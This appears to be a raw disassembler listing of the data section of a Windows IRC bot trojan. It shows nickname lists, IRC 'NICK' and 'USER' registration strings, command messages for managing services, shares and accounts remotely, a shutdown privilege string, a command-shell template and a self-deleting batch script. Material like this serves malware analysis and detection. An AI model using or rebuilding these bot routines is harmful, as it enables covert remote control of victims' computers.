aGirl_0		db 'GIRL',0             ; DATA XREF: ___:0043873Co
		align 4
off_4387F8	dd offset word_594F42	; DATA XREF: ___:00438738o
aFree		db 'Free',0             ; DATA XREF: ___:00438724o
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: ___:00438720o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:00438714o
		align 4
aF_2		db '^^^f^',0            ; DATA XREF: ___:00438708o
		align 10h
aSad		db 'Sad',0              ; DATA XREF: ___:00438704o
aLuvu		db 'LUVU',0             ; DATA XREF: ___:00438700o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:004386E4o
aBbl		db '|bbl',0             ; DATA XREF: ___:004386D8o
		align 4
off_438838	dd offset loc_425242	; DATA XREF: ___:004386D4o
aMuckc		db 'muckc',0            ; DATA XREF: ___:004386C0o
		align 4
aTruck		db 'truck',0            ; DATA XREF: ___:004386BCo
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: ___:004386B8o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: ___:004386B4o
		align 4
aUi		db 'ui',0               ; DATA XREF: ___:004386B0o
		align 10h
aSdf		db 'sdf',0              ; DATA XREF: ___:004386ACo
aRt		db 'rt',0               ; DATA XREF: ___:004386A8o
		align 4
aGf		db 'gf',0               ; DATA XREF: ___:004386A4o
		align 4
aTy		db 'ty',0               ; DATA XREF: ___:004386A0o
		align 10h
aRg		db 'rg',0               ; DATA XREF: ___:0043869Co
		align 4
aHappy		db 'happy',0            ; DATA XREF: ___:00438698o
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00438678o
		align 10h
aQ8A		db '|q8|a',0            ; DATA XREF: ___:00438630o
		align 4
aQ8		db 'Q8',0               ; DATA XREF: ___:0043862Co
		align 4
aSick		db 'sick}}',0           ; DATA XREF: ___:00438628o
		align 4
aWiked		db '|wiked|',0          ; DATA XREF: ___:00438624o
aLuvuF		db '||luvu-f|',0        ; DATA XREF: ___:00438620o
		align 4
aGens		db '{gens|',0           ; DATA XREF: ___:0043861Co
		align 10h
aSex_0		db '{sex}',0            ; DATA XREF: ___:00438618o
		align 4
aHub		db '{hub}',0            ; DATA XREF: ___:00438614o
		align 10h
aLuck		db '|luck|',0           ; DATA XREF: ___:00438610o
		align 4
aSuck		db '|suck|',0           ; DATA XREF: ___:0043860Co
		align 10h
aTot		db '-|tot|',0           ; DATA XREF: ___:00438608o
		align 4
aWoh		db '|woh|',0            ; DATA XREF: ___:00438604o
		align 10h
aTambe		db '|tambe|',0          ; DATA XREF: ___:00438600o
aLag		db 'lag',0              ; DATA XREF: ___:004385FCo
aBad		db 'bad',0              ; DATA XREF: ___:004385F8o
aTree		db 'tree',0             ; DATA XREF: ___:004385F4o
		align 4
aZex		db 'zex',0              ; DATA XREF: ___:004385F0o
aLez		db 'lez',0              ; DATA XREF: ___:004385ECo
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:004385E4o
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:004385E0o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:004385DCo
		align 10h
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:004385D8o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:004385D4o
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:004385D0o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:004385CCo
		align 10h
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:004385C8o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:004385C4o
		align 10h
aCool30m	db 'cool30m',0          ; DATA XREF: ___:004385C0o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:004385BCo
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: ___:004385B8o
		align 10h
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:004385B4o
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:004385B0o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:004385ACo
aAkden		db 'akden',0            ; DATA XREF: ___:004385A8o
		align 10h
aKoray		db 'KORAY',0            ; DATA XREF: ___:004385A4o
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:004385A0o
		align 10h
aFirtina	db 'firtina',0          ; DATA XREF: ___:0043859Co
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00438598o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00438594o
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00438590o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: ___:0043858Co
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00438588o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: ___:00438584o
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00438580o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: ___:0043857Co
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:00438578o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: ___:00438574o
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:00438570o
		align 4
off_438A18	dd offset byte_4B5245	; DATA XREF: ___:0043856Co
aSevda		db 'sevda',0            ; DATA XREF: ___:00438568o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: ___:00438564o
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:00438560o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: ___:0043855Co
		align 10h
aKapk		db 'kapk',0             ; DATA XREF: ___:00438558o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:00438554o
		align 4
aHayran		db 'hayran',0           ; DATA XREF: ___:00438550o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:0043854Co
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:00438548o
		align 10h
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:00438544o
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:00438540o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: ___:0043853Co
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:00438538o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: ___:00438534o
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:00438530o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:0043852Co
		align 10h
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:00438528o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:00438524o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:00438520o
		align 10h
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:0043851Co
		align 10h
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:00438518o
aHoly		db 'holy',0             ; DATA XREF: ___:00438514o
		align 10h
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00438510o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:0043850Co
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00438508o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:00438504o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:00438500o
		align 10h
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:004384FCo
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:004384F8o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: ___:004384F4o
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:004384F0o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:004384ECo
aArda		db 'arda',0             ; DATA XREF: ___:004384E8o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:004384E4o
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:004384E0o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:004384DCo
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:004384D8o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:004384D4o
		align 10h
aBogac		db 'bogac',0            ; DATA XREF: ___:004384D0o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:004384CCo
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: ___:004384C8o
		align 4
off_438BAC	dd offset byte_457441	; DATA XREF: ___:004384C4o
dword_438BB0	dd 414C5941h, 2Dh	; DATA XREF: ___:004384C0o
aAlbina		db 'albina',0           ; DATA XREF: ___:004384BCo
		align 10h
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:004384B8o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:004384B4o
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:004384B0o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:004384ACo
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: ___:004384A8o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:004384A4o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:004384A0o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: ___:0043849Co
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00438498o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00438494o
aAslii		db 'aslii',0            ; DATA XREF: ___:00438490o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:0043848Co
aHaticem	db 'haticem',0          ; DATA XREF: ___:00438488o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00438484o
		align 10h
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00438480o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:0043847Co
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:00438478o
		align 10h
aTekir		db 'tekir',0            ; DATA XREF: ___:00438474o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:00438470o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: ___:0043846Co
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:00438468o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: ___:00438464o
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: ___:00438460o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: ___:0043845Co
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:00438458o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:00438454o
		align 10h
aIrmal		db 'irmal',0            ; DATA XREF: ___:00438450o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:0043844Co
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:00438448o
		align 10h
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:00438444o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:00438440o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:0043843Co
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:00438438o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:00438434o
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: ___:00438430o
aReshma		db 'reshma',0           ; DATA XREF: ___:0043842Co
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: ___:00438428o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:00438424o
		align 4
aImra		db 'imra',0             ; DATA XREF: ___:00438420o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:0043841Co
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:00438418o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:00438414o
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:00438410o
		align 4
aTroller	db 'troller',0          ; DATA XREF: ___:0043840Co
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00438408o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: ___:00438404o
		align 10h
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00438400o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:004383FCo
		align 10h
aBunty		db 'bunty',0            ; DATA XREF: ___:004383F8o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:004383F4o
		align 10h
aCme		db 'cme',0              ; DATA XREF: ___:004383F0o
aMarcy		db 'marcy',0            ; DATA XREF: ___:004383ECo
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:004383E8o
		align 4
aShez		db 'Shez',0             ; DATA XREF: ___:004383E4o
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:004383E0o
aFlexster	db 'flexster',0         ; DATA XREF: ___:004383DCo
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:004383D8o
		align 4
aMale		db 'male',0             ; DATA XREF: ___:004383D4o
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:004383D0o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:004383CCo
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:004383C8o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: ___:004383C4o
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:004383C0o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:004383BCo
aFarooq		db 'farooq',0           ; DATA XREF: ___:004383B8o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:004383B4o
		align 4
aM_0:					; DATA XREF: ___:004383B0o
					; ___:004386FCo
		unicode	0, <M>,0
word_438E18	dw 4Eh			; DATA XREF: sub_419E7A+38r
					; ___:004383ACo
		align 4
dword_438E1C	dd 42h			; DATA XREF: ___:004383A8o
dword_438E20	dd 56h			; DATA XREF: ___:004383A4o
dword_438E24	dd 43h			; DATA XREF: ___:004383A0o
dword_438E28	dd 58h			; DATA XREF: ___:0043839Co
					; ___:00438730o
dword_438E2C	dd 5Ah			; DATA XREF: ___:00438398o
dword_438E30	dd 4Ch			; DATA XREF: ___:00438394o
dword_438E34	dd 4Bh			; DATA XREF: ___:00438390o
dword_438E38	dd 4Ah			; DATA XREF: ___:0043838Co
dword_438E3C	dd 48h			; DATA XREF: ___:00438388o
dword_438E40	dd 47h			; DATA XREF: ___:00438384o
dword_438E44	dd 46h			; DATA XREF: ___:00438380o
					; ___:004386F8o
dword_438E48	dd 44h			; DATA XREF: ___:0043837Co
dword_438E4C	dd 53h			; DATA XREF: ___:00438378o
dword_438E50	dd 50h			; DATA XREF: ___:00438370o
dword_438E54	dd 4Fh			; DATA XREF: ___:0043836Co
dword_438E58	dd 55h			; DATA XREF: ___:00438364o
word_438E5C	dw 59h			; DATA XREF: sub_41A19E+38r
					; ___:00438360o
		align 10h
dword_438E60	dd 54h			; DATA XREF: ___:0043835Co
dword_438E64	dd 52h			; DATA XREF: ___:00438358o
dword_438E68	dd 45h			; DATA XREF: ___:00438354o
dword_438E6C	dd 57h			; DATA XREF: ___:00438350o
dword_438E70	dd 51h			; DATA XREF: ___:0043834Co
dword_438E74	dd 62h			; DATA XREF: ___:00438340o
					; ___:00438634o ...
dword_438E78	dd 78h			; DATA XREF: ___:00438334o
					; ___:0043868Co
dword_438E7C	dd 7Ah			; DATA XREF: ___:00438330o
					; ___:00438694o ...
dword_438E80	dd 68h			; DATA XREF: ___:00438320o
					; ___:0043864Co
dword_438E84	dd 67h			; DATA XREF: ___:0043831Co
					; ___:00438648o ...
dword_438E88	dd 66h			; DATA XREF: ___:00438318o
					; ___:00438644o
dword_438E8C	dd 79h			; DATA XREF: ___:004382FCo
					; ___:00438690o
dword_438E90	dd 77h			; DATA XREF: ___:004382ECo
					; ___:00438688o
dword_438E94	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_4177D0+B1o
dword_438EA0	dd 323334h		; DATA XREF: sub_4177D0+79o
dword_438EA4	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_4177D0+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_4178BB+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 10h
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417ADE+BCo
					; sub_417ADE+175r ...
		align 4
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814D+72o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418294+1Co
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418338+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41835A+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_41835A+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_41835A+48o
		align 4
unk_43901C	db  2Dh	; -		; DATA XREF: sub_4184E2+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_43904C	db  2Dh	; -		; DATA XREF: sub_4184E2+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_439074	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4184E2+5Co
		dd 65726165h, 64h
off_439090	dd offset aAdd		; DATA XREF: sub_4186C2+60r
					; sub_418A99+51r ...
					; "Add"
off_439094	dd offset aAdded	; DATA XREF: sub_4186C2+2Dr
					; sub_418A99+83r ...
					; "Added"
dword_439098	dd 0			; DATA XREF: sub_4186C2+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 439104h, 4390FCh,	2, 4390F0h, 4390E4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:004390C4o
aStop_0		db 'Stop',0             ; DATA XREF: ___:004390C0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:004390B8o
aStart_0	db 'Start',0            ; DATA XREF: ___:004390B4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:004390ACo
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:004390A8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:004390A0o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:0043909Co
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_439094o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_439090o
unk_439158	db  2Dh	; -		; DATA XREF: sub_4186C2+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_43917C	db  2Dh	; -		; DATA XREF: sub_4186C2+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
unk_4391A8	db  2Dh	; -		; DATA XREF: sub_4186C2+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DE+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4187DE:loc_4188F6o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4187DE:loc_4188EFo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4187DE:loc_4188E8o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4187DE:loc_4188E1o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4187DE:loc_4188DAo
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4187DE:loc_4188D3o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4187DE:loc_4188CCo
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4187DE:loc_4188C5o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4187DE:loc_4188BEo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4187DE:loc_4188B7o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4187DE:loc_41888Co
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4187DE:loc_418885o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4187DE:loc_41887Eo
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4187DE:loc_418877o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4187DE+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4187DE:loc_41884Co
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4187DE:loc_418842o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4187DE:loc_418838o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4187DE:loc_41882Eo
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4187DE:loc_418824o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DE+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41895C+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41895C:loc_418A28o
aStarting	db '   Starting',0      ; DATA XREF: sub_41895C:loc_418A21o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41895C:loc_418A1Ao
aRunning	db '    Running',0      ; DATA XREF: sub_41895C:loc_418A13o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41895C:loc_418A0Co
aPausing	db '    Pausing',0      ; DATA XREF: sub_41895C:loc_418A05o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41895C:loc_4189FEo
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_41895C+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41895C+25o
		align 4
unk_4396FC	db  2Dh	; -		; DATA XREF: sub_418A99+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 10h
dword_439720	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418A99+8Ao
		dd 73252720h, 27h
unk_43973C	db  2Dh	; -		; DATA XREF: sub_418A99+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8F+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_418C8F+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_418C8F+B5o
unk_439788	db  2Dh	; -		; DATA XREF: sub_418C8F+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_418C8F+26o
		align 4
unk_4397E8	db  2Dh	; -		; DATA XREF: sub_418DB0+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
unk_439810	db  2Dh	; -		; DATA XREF: sub_418DB0+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439840	db  2Dh	; -		; DATA XREF: sub_418DB0+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 10h
unk_439860	db  2Dh	; -		; DATA XREF: sub_418EF7+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF7+385o
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF7+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF7+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_418EF7+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_418EF7+2D9o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_418EF7+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_418EF7+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_418EF7+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF7+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF7+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_418EF7+1D7o
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_418EF7+1ACo
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_418EF7+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_418EF7+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF7+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_418EF7:loc_419016o
		align 10h
aUser_1		db 'User',0             ; DATA XREF: sub_418EF7:loc_41900Fo
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_418EF7:loc_419008o
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_418EF7+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_418EF7+AFo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_418EF7+84o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_418EF7+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4192E0+14Fo
		align 4
unk_439A1C	db  2Dh	; -		; DATA XREF: sub_4192E0+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aS_4		db '  %S',0             ; DATA XREF: sub_4192E0+BEo
		align 10h
unk_439A50	db  2Dh	; -		; DATA XREF: sub_4192E0+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4192E0+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_419460:loc_41957Do
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_419460:loc_419576o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_419460:loc_41956Fo
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_419460:loc_419568o
		align 10h
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_419460:loc_419561o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_419460:loc_419544o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_419460:loc_41953Do
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_419460:loc_419536o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_419460+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
